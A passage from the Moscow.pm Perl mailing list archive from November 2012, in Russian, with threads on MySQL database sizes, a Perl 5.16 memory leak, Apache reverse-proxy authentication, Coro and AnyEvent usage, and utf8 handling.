Studennikov >> написал: >>> 11 ноября 2012 г., 0:33 пользователь Михаил Монашёв >>> написал: >>>> Здравствуйте. >>>> >>>> Интересно было посмотреть, какие объёмы данных чаще всего хранят в >>>> mysql-е: >>>> http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ >>> >>> Не совсем репрезентативная выборка, ибо на mysqlperformanceblog ходят >>> в основном любители больших нагрузок и больших объемов баз ;) >> >> +1 . Сюда по моему скромному опыту - в основном базы до 1 гиг , и до 10 гигов. >> Больше это уже гиганты или же какие-то извращенцы сующие огромные >> blobы (картинки видео) в субд. > > Значит мы "какие-то извращенцы", т.к. явно не "гиганты". Т.к. у нас > базы порядка 50Гб и мы используем MyISAM как key-value ;-) > Ну гиганты , величина очень растяжимая :) P.S У меня счетчики с пару десятков l4 устройств забивает 5 гигов базы Постгреса за неделю. Хотя я очень далеко не гигант, среднего размера ISP. >> >>> >>> -- >>> Walery Studennikov >>> http://www.reg.ru/ >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Vladimir Timofeev > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From proler на gmail.com Sun Nov 11 13:51:34 2012 From: proler на gmail.com (oleg alexeenkov) Date: Mon, 12 Nov 2012 01:51:34 +0400 Subject: [Moscow.pm] =?utf-8?b?0KDQsNC30LzQtdGA0Ysg0JHQlCDQsiBteXNxbA==?= In-Reply-To: References: <1739783830.20121111003344@softsearch.ru> Message-ID: Naim Shafiev писал(а) в своём письме Sun, 11 Nov 2012 15:46:23 +0400: > 11 ноября 2012 г., 15:28 пользователь Walery Studennikov > написал: >> 11 ноября 2012 г., 0:33 пользователь Михаил Монашёв >> написал: >>> Здравствуйте. >>> >>> Интересно было посмотреть, какие объёмы данных чаще всего хранят в >>> mysql-е: >>> http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ >> >> Не совсем репрезентативная выборка, ибо на mysqlperformanceblog ходят >> в основном любители больших нагрузок и больших объемов баз ;) > > +1 . Сюда по моему скромному опыту - в основном базы до 1 гиг , и до 10 > гигов. > Больше это уже гиганты или же какие-то извращенцы сующие огромные > blobы (картинки видео) в субд. 1.7T myisam 1.6T sphinx 6701611180 строк небольшое хобби крутится на железке шестилетней старости. From akovbovich на gmail.com Sun Nov 11 18:44:36 2012 From: akovbovich на gmail.com (=?UTF-8?B?0JDQvdC00YDQtdC5INCfLiDQmtC+0LLQsdC+0LLQuNGH?=) Date: Mon, 12 Nov 2012 06:44:36 +0400 Subject: [Moscow.pm] =?utf-8?b?cGVybCA1LjE2INC4IEhhc2g6Ok1lcmdl?= Message-ID: Подскажите, что изменилось такого в перле, что в 5.14.2 этот кусок кода выполняется с константным RSS use Hash::Merge (); my $m = Hash::Merge->new; $m->set_clone_behavior(0); $m->merge({a=>1},{b=>2}) while 1; в то же время, в 5.16.0 - RSS растет как на дрожжах. From petr на satory.ru Mon Nov 12 02:59:35 2012 From: petr на satory.ru (Petr) Date: Mon, 12 Nov 2012 14:59:35 +0400 Subject: [Moscow.pm] =?koi8-r?b?8sHazcXS2SDi5CDXIG15c3Fs?= In-Reply-To: References: <1739783830.20121111003344@softsearch.ru> Message-ID: <149583358.20121112145936@satory.ru> Hello Naim, Sunday, November 11, 2012, 3:46:23 PM, you wrote: NS> 11 ноября 2012 г., 15:28 пользователь Walery Studennikov NS> написал: >> 11 ноября 2012 г., 0:33 пользователь Михаил Монашёв >> написал: >>> Здравствуйте. >>> >>> Интересно было посмотреть, какие объёмы данных чаще всего хранят в >>> mysql-е: >>> http://www.mysqlperformanceblog.com/2012/11/09/what-is-the-largest-amount-of-data-do-you-store-in-mysql/ >> >> Не совсем репрезентативная выборка, ибо на mysqlperformanceblog ходят >> в основном любители больших нагрузок и больших объемов баз ;) NS> +1 . Сюда по моему скромному опыту - в основном базы до 1 гиг , и до 10 гигов. NS> Больше это уже гиганты или же какие-то извращенцы сующие огромные NS> blobы (картинки видео) в субд. У нас и без blob-ов базы есть где-то в пределах 50 гб. просто большой объем данных накопился. From ruz на bestpractical.com Mon Nov 12 05:24:45 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Mon, 12 Nov 2012 17:24:45 +0400 Subject: [Moscow.pm] =?utf-8?b?cGVybCA1LjE2INC4IEhhc2g6Ok1lcmdl?= In-Reply-To: References: Message-ID: 2012/11/12 Андрей П. Ковбович : > Подскажите, что изменилось такого в перле, что в 5.14.2 этот кусок > кода выполняется с константным RSS > > use Hash::Merge (); > my $m = Hash::Merge->new; > $m->set_clone_behavior(0); > $m->merge({a=>1},{b=>2}) while 1; > > в то же время, в 5.16.0 - RSS растет как на дрожжах. Поздравляю, вы нашли memory leak либо в модуле, либо в perl itself. Возможно течет при выдергивании объекта из @_ с помощью &_get_obj; > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. From vovkasm на gmail.com Mon Nov 12 10:02:59 2012 From: vovkasm на gmail.com (Vladimir Timofeev) Date: Mon, 12 Nov 2012 22:02:59 +0400 Subject: [Moscow.pm] =?utf-8?b?cGVybCA1LjE2INC4IEhhc2g6Ok1lcmdl?= In-Reply-To: References: Message-ID: 2012/11/12 Ruslan Zakirov : > 2012/11/12 Андрей П. Ковбович : >> Подскажите, что изменилось такого в перле, что в 5.14.2 этот кусок >> кода выполняется с константным RSS >> >> use Hash::Merge (); >> my $m = Hash::Merge->new; >> $m->set_clone_behavior(0); >> $m->merge({a=>1},{b=>2}) while 1; >> >> в то же время, в 5.16.0 - RSS растет как на дрожжах. > > Поздравляю, вы нашли memory leak либо в модуле, либо в perl itself. > > Возможно течет при выдергивании объекта из @_ с помощью &_get_obj; Ага! Близкий к минимальному showcase вот такой (https://gist.github.com/4058501): while (1) { my $o = bless {}, 'main'; test({}); $o->test; } sub test { &test2; } sub test2 { ref($_[0]) && eval { $_[0]->isa(__PACKAGE__) }; } > >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > -- > Best regards, Ruslan. > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Vladimir Timofeev From ruz на bestpractical.com Mon Nov 12 12:18:08 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Tue, 13 Nov 2012 00:18:08 +0400 Subject: [Moscow.pm] =?utf-8?b?cGVybCA1LjE2INC4IEhhc2g6Ok1lcmdl?= In-Reply-To: References: Message-ID: 2012/11/12 Vladimir Timofeev : > 2012/11/12 Ruslan Zakirov : >> 2012/11/12 Андрей П. Ковбович : >>> Подскажите, что изменилось такого в перле, что в 5.14.2 этот кусок >>> кода выполняется с константным RSS >>> >>> use Hash::Merge (); >>> my $m = Hash::Merge->new; >>> $m->set_clone_behavior(0); >>> $m->merge({a=>1},{b=>2}) while 1; >>> >>> в то же время, в 5.16.0 - RSS растет как на дрожжах. >> >> Поздравляю, вы нашли memory leak либо в модуле, либо в perl itself. >> >> Возможно течет при выдергивании объекта из @_ с помощью &_get_obj; > > Ага! Близкий к минимальному showcase вот такой > (https://gist.github.com/4058501): > > while (1) { > my $o = bless {}, 'main'; > test({}); > $o->test; > } > > sub test { &test2; } > sub test2 { ref($_[0]) && eval { $_[0]->isa(__PACKAGE__) }; } Father C. пофиксил кучу утечек памяти недавно. Лучше залать perlbug'ом, пока у него настроение есть (было) :) >> >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >> >> -- >> Best regards, Ruslan. >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Vladimir Timofeev > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. From denis.fedoseev на gmail.com Tue Nov 13 01:20:21 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Tue, 13 Nov 2012 13:20:21 +0400 Subject: [Moscow.pm] =?utf-8?q?apache_mod=5Fproxy+starman_=D1=82=D0=B5?= =?utf-8?b?0YDRj9C10YLRgdGPIHJlbW90ZV91c2Vy?= Message-ID: <54E86C26-FBD0-4950-A426-887A6624AA9D@gmail.com> Приветствую, коллеги. Столкнулся со следующей багой - есть приложение на Mojo запущенное под Starman. Перед приложением стоит Apache в режиме reverse_proxy. Apache обеспечивает аутентификацию пользователей с помощью mod_kerberos. Пока гонял на тестах в CGI режиме без mod_proxy все работало идеально, но меееедленно :) Перевел на Starman и mod_proxy - пропал REMOTE_USER. Погуглил, обнаружил что та же проблема у рубистов и питонистов и они ее решают так: http://serverfault.com/questions/180726/remote-user-through-apache-reverse-proxy И прочими вариациями на тем look ahead переменных. Но у меня вся эта красота не работает - переменная в заголовках создается, но она остается пустая и REMOTE_USER туда не подставляется. Вобщем хочется понять почем, доколе и все прочее в том же духе :) Пример vhost.conf ServerName test.loc ProxyVia On ProxyPassInterpolateEnv On AuthType Kerberos KrbMethodK5Passwd on AuthName "Ayth Login" Krb5Keytab /etc/krb5.keytab KrbAuthRealms AUTHREALM KrbServiceName host/host-name на REALM Require valid-user Rewrite-Rule .* - [E=PROXY_USER:%{LA-U:REMOTE_USER} RequestHeader set Proxy-User %{PROXY_USER}e ProxyPass / http://localhost:3000 ProxyPassReverse / http://localhost:3000 С уважением, Денис Федосеев From vovkasm на gmail.com Sun Nov 18 06:30:37 2012 From: vovkasm на gmail.com (Vladimir Timofeev) Date: Sun, 18 Nov 2012 18:30:37 +0400 Subject: [Moscow.pm] =?utf-8?b?cGVybCA1LjE2INC4IEhhc2g6Ok1lcmdl?= In-Reply-To: References: Message-ID: 2012/11/13 Ruslan Zakirov : > 2012/11/12 Vladimir Timofeev : ... >> Ага! Близкий к минимальному showcase вот такой >> (https://gist.github.com/4058501): >> >> while (1) { >> my $o = bless {}, 'main'; >> test({}); >> $o->test; >> } >> >> sub test { &test2; } >> sub test2 { ref($_[0]) && eval { $_[0]->isa(__PACKAGE__) }; } > > Father C. пофиксил кучу утечек памяти недавно. Лучше залать > perlbug'ом, пока у него настроение есть (было) :) > Done, есть желающие найти конкретный коммит, чтоб смержить его в 5.16? https://rt.perl.org/rt3/Ticket/Display.html?id=115738 -- Vladimir Timofeev From ksvs1996 на ymail.com Mon Nov 19 23:33:46 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 20 Nov 2012 07:33:46 +0000 (GMT) Subject: [Moscow.pm] Coro In-Reply-To: References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> Хоть в малру внедрейся для постижения секретов использования связки Coro и EV. Три секрета я уже открыл сам методом тыка. :-) ________________________________ From: Denis Evdokimov To: Moscow.pm group Sent: Tuesday, 6 November 2012, 15:48 Subject: Re: [Moscow.pm] Coro Люди, а вы используете Coro под приличной нагрузкой? >Помниться в Киеве майлрушники рассказывали, что используют Coro и собираются ещё больше использовать, т.к. он хорошо внедряется в существующий код. -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From denis.fedoseev на gmail.com Mon Nov 19 23:42:40 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Tue, 20 Nov 2012 11:42:40 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> Message-ID: <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> Дык поделись с сообществом тайным знанием :) С уважением, Денис Федосеев On 20 Nov 2012, at 11:33 AM, ksvs wrote: > > > Хоть в малру внедрейся для постижения секретов использования связки Coro и EV. > Три секрета я уже открыл сам методом тыка. :-) > > ________________________________ > From: Denis Evdokimov > To: Moscow.pm group > Sent: Tuesday, 6 November 2012, 15:48 > Subject: Re: [Moscow.pm] Coro > > > Люди, а вы используете Coro под приличной нагрузкой? >> Помниться в Киеве майлрушники рассказывали, что используют Coro и собираются ещё больше использовать, т.к. он хорошо внедряется в существующий код. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From i.petro.77.00 на gmail.com Tue Nov 20 00:13:39 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Tue, 20 Nov 2012 12:13:39 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> Message-ID: <20121120081339.GB6930@vdsl.uvw.ru> > Хоть в малру внедрейся для постижения секретов использования связки Coro и EV. > Три секрета я уже открыл сам методом тыка. :-) в мейле вроде Coro нигде не применяют. я пытался пытался его тут пропагандировать. но тут местами AnyEvent + EV, а в большинстве случаев так вообще синхронный код + select'ы по сокетам :) а насчет секретов, могу поделиться. секрет номер раз: если вы используете такие объекты как деревья совместно с Coro, то необходимо для них писать деструкторы, которые будут освобождать дерево обходя его нерекурсивно. ибо у файберов стек по 8Кб (дефолт). From ksvs1996 на ymail.com Tue Nov 20 00:25:45 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 20 Nov 2012 08:25:45 +0000 (GMT) Subject: [Moscow.pm] Coro References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> Message-ID: <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> 1. Хотя Coro::EV содержит подпрограмму cede, ее использовать нельзя. Надо использовать cede из Coro. Иначе не передается управление другому async. 2. Надо сперва подключать Coro, а потом Coro::EV. Если наоборот, то будет больше расход памяти. 3. Сразу в async писать eval, если выше то, не прокатит. async должен всегда завершаться без ошибки. 4. Переопределяейте Coro::async, так как интеграция с EV при помощи Coro::EV не полная. sub cede { Coro::EV::timer_once(0); Coro::cede } Но даже с этими секретами часть приложений с Coro::EV входит в ступор. Из 4 работает нормально 1, которое индексирует весь интернет. Оно самое простое в части работы с Coro. :-) В общем я им уже наигрался по самое не хочу. ----- Original Message ----- From: alpha6 To: Moscow.pm group Cc: Sent: Tuesday, 20 November 2012, 9:42 Subject: Re: [Moscow.pm] Coro Дык поделись с сообществом тайным знанием :) С уважением, On 20 Nov 2012, at 11:33 AM, ksvs wrote: > > > Хоть в малру внедрейся для постижения секретов использования связки Coro и EV. > Три секрета я уже открыл сам методом тыка. :-) > > ________________________________ > From: Denis Evdokimov > To: Moscow.pm group > Sent: Tuesday, 6 November 2012, 15:48 > Subject: Re: [Moscow.pm] Coro > > > Люди, а вы используете Coro под приличной нагрузкой? >> Помниться в Киеве майлрушники рассказывали, что используют Coro и собираются ещё больше использовать, т.к. он хорошо внедряется в существующий код. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org Надо использоватьДенис Федосеев From ksvs1996 на ymail.com Tue Nov 20 04:44:01 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 20 Nov 2012 12:44:01 +0000 (GMT) Subject: [Moscow.pm] Coro In-Reply-To: <20121120081339.GB6930@vdsl.uvw.ru> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <20121120081339.GB6930@vdsl.uvw.ru> Message-ID: <1353415441.84432.YahooMailNeo@web171503.mail.ir2.yahoo.com> Деревья не использую. А какой секрет номер два? ----- Original Message ----- From: Ivan Petrov To: moscow-pm на pm.org Cc: Sent: Tuesday, 20 November 2012, 10:13 Subject: Re: [Moscow.pm] Coro > Хоть в малру внедрейся для постижения секретов использования связки Coro и EV. > Три секрета я уже открыл сам методом тыка. :-) в мейле вроде Coro нигде не применяют. я пытался пытался его тут пропагандировать. но тут местами AnyEvent + EV, а в большинстве случаев так вообще синхронный код + select'ы по сокетам :) а насчет секретов, могу поделиться. секрет номер раз: если вы используете такие объекты как деревья совместно с Coro, то необходимо для них писать деструкторы, которые будут освобождать дерево обходя его нерекурсивно. ибо у файберов стек по 8Кб (дефолт). -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From ksvs1996 на ymail.com Thu Nov 22 02:15:07 2012 From: ksvs1996 на ymail.com (ksvs) Date: Thu, 22 Nov 2012 10:15:07 +0000 (GMT) Subject: [Moscow.pm] =?utf-8?b?0KLQsNC60YLQuNC60LAg0YDQsNCx0L7RgtGLINGB?= =?utf-8?q?_utf8?= Message-ID: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> Привет. А какая тактика работы с utf8 более рациональна в Perl? 1. Все входящие сразу из октетов преобразуем в utf8, а на выходе обратно. 2. Работаем с октетами, и лишь где надо utf8 - преобразуем. Кажется вторая, но всякие json библиотеки сами делают преобразования в utf8. Или все таки первая? From i.petro.77.00 на gmail.com Thu Nov 22 02:21:17 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Thu, 22 Nov 2012 14:21:17 +0400 Subject: [Moscow.pm] =?utf-8?b?0KLQsNC60YLQuNC60LAg0YDQsNCx0L7RgtGLINGB?= =?utf-8?q?_utf8?= In-Reply-To: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> References: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> Message-ID: <20121122102117.GB11300@vdsl.uvw.ru> > Привет. > А какая тактика работы с utf8 более рациональна в Perl? > 1. Все входящие сразу из октетов преобразуем в utf8, а на выходе обратно. > 2. Работаем с октетами, и лишь где надо utf8 - преобразуем. > Кажется вторая, но всякие json библиотеки сами делают преобразования в utf8. > Или все таки первая? вообще первая схема правильная. а вторая это легаси From ksvs1996 на ymail.com Thu Nov 22 02:22:39 2012 From: ksvs1996 на ymail.com (ksvs) Date: Thu, 22 Nov 2012 10:22:39 +0000 (GMT) Subject: [Moscow.pm] =?utf-8?b?0KLQsNC60YLQuNC60LAg0YDQsNCx0L7RgtGLINGB?= =?utf-8?q?_utf8?= In-Reply-To: <20121122102117.GB11300@vdsl.uvw.ru> References: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> <20121122102117.GB11300@vdsl.uvw.ru> Message-ID: <1353579759.26491.YahooMailNeo@web171501.mail.ir2.yahoo.com> Спасибо. ----- Original Message ----- From: Ivan Petrov To: moscow-pm на pm.org Cc: Sent: Thursday, 22 November 2012, 12:21 Subject: Re: [Moscow.pm] Тактика работы с utf8 > Привет. > А какая тактика работы с utf8 более рациональна в Perl? > 1. Все входящие сразу из октетов преобразуем в utf8, а на выходе обратно. > 2. Работаем с октетами, и лишь где надо utf8 - преобразуем. > Кажется вторая, но всякие json библиотеки сами делают преобразования в utf8. > Или все таки первая? вообще первая схема правильная. а вторая это легаси -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From maxim.vuets на gmail.com Thu Nov 22 02:24:39 2012 From: maxim.vuets на gmail.com (Maxim Vuets) Date: Thu, 22 Nov 2012 11:24:39 +0100 Subject: [Moscow.pm] =?utf-8?b?0KLQsNC60YLQuNC60LAg0YDQsNCx0L7RgtGLINGB?= =?utf-8?q?_utf8?= In-Reply-To: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> References: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> Message-ID: 2012/11/22 ksvs : > Привет. > А какая тактика работы с utf8 более рациональна в Perl? > 1. Все входящие сразу из октетов преобразуем в utf8, а на выходе обратно. Эта. Поправка к формулировке: преобразуем из октетов в перл-уникод-строки (внутренне они сейчас представлены как UTF-8, но на это нельзя рассчитывать) на входе; на выходе обратно, из внутренних строк в нужную кодировку. From vovkasm на gmail.com Thu Nov 22 02:34:25 2012 From: vovkasm на gmail.com (Vladimir Timofeev) Date: Thu, 22 Nov 2012 14:34:25 +0400 Subject: [Moscow.pm] =?utf-8?b?0KLQsNC60YLQuNC60LAg0YDQsNCx0L7RgtGLINGB?= =?utf-8?q?_utf8?= In-Reply-To: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> References: <1353579307.92944.YahooMailNeo@web171502.mail.ir2.yahoo.com> Message-ID: 2012/11/22 ksvs : > Привет. > А какая тактика работы с utf8 более рациональна в Perl? > 1. Все входящие сразу из октетов преобразуем в utf8, а на выходе обратно. > 2. Работаем с октетами, и лишь где надо utf8 - преобразуем. > Кажется вторая, но всякие json библиотеки сами делают преобразования в utf8. > Или все таки первая? IMHO, никакая из этих двух. Есть данные, которые представляют "строки" (цепочки "символов"), они и должны быть в Perl строками. Есть данные, которые представляют из себя бинарные данные и семантика "строк" к ним вообще не применима, они и должны быть бинарными данными в Perl. Т.к. внешиний для Perl мир содержит только бинарные данные, то требуется преобразование в строки и обратно. Преобразование это должно происходить в максимально ранний момент времени binary->string и в максимально поздний string->binary. В подавляющем большинстве случаев это могут делать модули, общающиеся с внешним миром (например DBI). Но иногда приходится и самому думать, к примеру, прежде чем воспользоваться строкой из %ENV. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Vladimir Timofeev From ksvs1996 на ymail.com Thu Nov 22 06:36:09 2012 From: ksvs1996 на ymail.com (ksvs) Date: Thu, 22 Nov 2012 14:36:09 +0000 (GMT) Subject: [Moscow.pm] Coro References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> Message-ID: <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> Н-да... Вижу что Coro не пользуется популярностью. Пошел изучать AnyEvent... P.S. Жду третьего посыла в сторону Erlang. :-) ----- Original Message ----- From: ksvs To: Moscow.pm group Cc: Sent: Tuesday, 20 November 2012, 10:25 Subject: Re: [Moscow.pm] Coro 1. Хотя Coro::EV содержит подпрограмму cede, ее использовать нельзя. Надо использовать cede из Coro. Иначе не передается управление другому async. 2. Надо сперва подключать Coro, а потом Coro::EV. Если наоборот, то будет больше расход памяти. 3. Сразу в async писать eval, если выше то, не прокатит. async должен всегда завершаться без ошибки. 4. Переопределяейте Coro::async, так как интеграция с EV при помощи Coro::EV не полная. sub cede { Coro::EV::timer_once(0); Coro::cede } Но даже с этими секретами часть приложений с Coro::EV входит в ступор. Из 4 работает нормально 1, которое индексирует весь интернет. Оно самое простое в части работы с Coro. :-) В общем я им уже наигрался по самое не хочу. ----- Original Message ----- From: alpha6 To: Moscow.pm group Cc: Sent: Tuesday, 20 November 2012, 9:42 Subject: Re: [Moscow.pm] Coro Дык поделись с сообществом тайным знанием :) С уважением, On 20 Nov 2012, at 11:33 AM, ksvs wrote: > > > Хоть в малру внедрейся для постижения секретов использования связки Coro и EV. > Три секрета я уже открыл сам методом тыка. :-) > > ________________________________ > From: Denis Evdokimov > To: Moscow.pm group > Sent: Tuesday, 6 November 2012, 15:48 > Subject: Re: [Moscow.pm] Coro > > > Люди, а вы используете Coro под приличной нагрузкой? >> Помниться в Киеве майлрушники рассказывали, что используют Coro и собираются ещё больше использовать, т.к. он хорошо внедряется в существующий код. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org Надо использоватьДенис Федосеев From ksvs1996 на ymail.com Thu Nov 22 06:36:14 2012 From: ksvs1996 на ymail.com (ksvs) Date: Thu, 22 Nov 2012 14:36:14 +0000 (GMT) Subject: [Moscow.pm] AnyEvent::HTTP Message-ID: <1353594974.21560.YahooMailNeo@web171502.mail.ir2.yahoo.com> А как такое може быть? Нашел url http://www.gvu.gatech.edu/ с циклическим редиректом ТОЛЬКО для AnyEvent::HTTP: use AnyEvent; use AnyEvent::Impl::EV; use AnyEvent::HTTP; my $cv = AnyEvent->condvar; http_request GET => "http://www.gvu.gatech.edu/",     sub {         my ($code, $message, $url) = @{$_[1]}{qw(Status Reason URL)};         print "$code ($message)\t$url\n";         print "============================\n";         print $_[0];         $cv->send;     }; $cv->recv; А броузеры возвращает нормальную стрницу, даже w3m: > w3m -dump_head http://www.gvu.gatech.edu/ Received cookie: cas_login_checked=true HTTP/1.1 200 OK Date: Thu, 22 Nov 2012 14:26:10 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Thu, 22 Nov 2012 14:26:10 +0000 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 ETag: "1353594370" Set-Cookie: cas_login_checked=true Content-Language: en X-Generator: Drupal 7 (http://drupal.org) Connection: close Content-Type: text/html; charset=utf-8 Другие ssl url в AnyEvent::HTTP работают нормально. Подскажите, что надо подкрутить в AnyEvent::HTTP, чтобы и он заработал нормально? From nikzubkov на gmail.com Thu Nov 22 06:53:58 2012 From: nikzubkov на gmail.com (Nikita Zubkov) Date: Thu, 22 Nov 2012 15:53:58 +0100 Subject: [Moscow.pm] AnyEvent::HTTP In-Reply-To: <1353594974.21560.YahooMailNeo@web171502.mail.ir2.yahoo.com> References: <1353594974.21560.YahooMailNeo@web171502.mail.ir2.yahoo.com> Message-ID: Набор заголовков различный. Скорее всего дело в User-Agent. 22 ноября 2012 г., 15:36 пользователь ksvs написал: > А как такое може быть? > > Нашел url http://www.gvu.gatech.edu/ с циклическим редиректом ТОЛЬКО для > AnyEvent::HTTP: > > use AnyEvent; > use AnyEvent::Impl::EV; > use AnyEvent::HTTP; > > my $cv = AnyEvent->condvar; > > http_request GET => "http://www.gvu.gatech.edu/", > sub { > my ($code, $message, $url) = @{$_[1]}{qw(Status Reason URL)}; > print "$code ($message)\t$url\n"; > print "============================\n"; > print $_[0]; > $cv->send; > }; > > $cv->recv; > > > А броузеры возвращает нормальную стрницу, даже w3m: > > > w3m -dump_head http://www.gvu.gatech.edu/ > Received cookie: cas_login_checked=true > HTTP/1.1 200 OK > Date: Thu, 22 Nov 2012 14:26:10 GMT > Server: Apache/2.2.15 (Red Hat) > X-Powered-By: PHP/5.3.3 > Expires: Sun, 19 Nov 1978 05:00:00 GMT > Last-Modified: Thu, 22 Nov 2012 14:26:10 +0000 > Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 > ETag: "1353594370" > Set-Cookie: cas_login_checked=true > Content-Language: en > X-Generator: Drupal 7 (http://drupal.org) > Connection: close > Content-Type: text/html; charset=utf-8 > > > Другие ssl url в AnyEvent::HTTP работают нормально. > > Подскажите, что надо подкрутить в AnyEvent::HTTP, чтобы и он заработал > нормально? > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- С уважением, Никита Зубков ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From grisxa на gmail.com Thu Nov 22 07:01:07 2012 From: grisxa на gmail.com (Grigory Batalov) Date: Thu, 22 Nov 2012 19:01:07 +0400 Subject: [Moscow.pm] AnyEvent::HTTP In-Reply-To: <1353594974.21560.YahooMailNeo@web171502.mail.ir2.yahoo.com> References: <1353594974.21560.YahooMailNeo@web171502.mail.ir2.yahoo.com> Message-ID: <20121122190107.190c902c@gbatalov> В Thu, 22 Nov 2012 14:36:14 +0000 (GMT) ksvs пишет: > А как такое може быть? > > Нашел url http://www.gvu.gatech.edu/ с циклическим редиректом ТОЛЬКО > для AnyEvent::HTTP: ИМХО, этот сайт хочет куки, сделай так: http_request GET => 'http://www.gvu.gatech.edu/', cookie_jar => \%cookies, > > use AnyEvent; > use AnyEvent::Impl::EV; > use AnyEvent::HTTP; > > my $cv = AnyEvent->condvar; > > http_request GET => "http://www.gvu.gatech.edu/", From ksvs1996 на ymail.com Thu Nov 22 07:09:00 2012 From: ksvs1996 на ymail.com (ksvs) Date: Thu, 22 Nov 2012 15:09:00 +0000 (GMT) Subject: [Moscow.pm] AnyEvent::HTTP In-Reply-To: <20121122190107.190c902c@gbatalov> References: <1353594974.21560.YahooMailNeo@web171502.mail.ir2.yahoo.com> <20121122190107.190c902c@gbatalov> Message-ID: <1353596940.45744.YahooMailNeo@web171505.mail.ir2.yahoo.com> Большое спасибо! О куках я и забыл совсем. Оказывается, в программировании и столько всего надо держать в голове... ----- Original Message ----- From: Grigory Batalov To: moscow-pm на pm.org Cc: Sent: Thursday, 22 November 2012, 17:01 Subject: Re: [Moscow.pm] AnyEvent::HTTP В Thu, 22 Nov 2012 14:36:14 +0000 (GMT) ksvs пишет: > А как такое може быть? > > Нашел url http://www.gvu.gatech.edu/ с циклическим редиректом ТОЛЬКО > для AnyEvent::HTTP: ИМХО, этот сайт хочет куки, сделай так: http_request GET => 'http://www.gvu.gatech.edu/', cookie_jar => \%cookies, > > use AnyEvent; > use AnyEvent::Impl::EV; > use AnyEvent::HTTP; > > my $cv = AnyEvent->condvar; > > http_request GET => "http://www.gvu.gatech.edu/", -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From nordicdyno на yandex.ru Thu Nov 22 08:12:59 2012 From: nordicdyno на yandex.ru (Orlovsky Alexander) Date: Thu, 22 Nov 2012 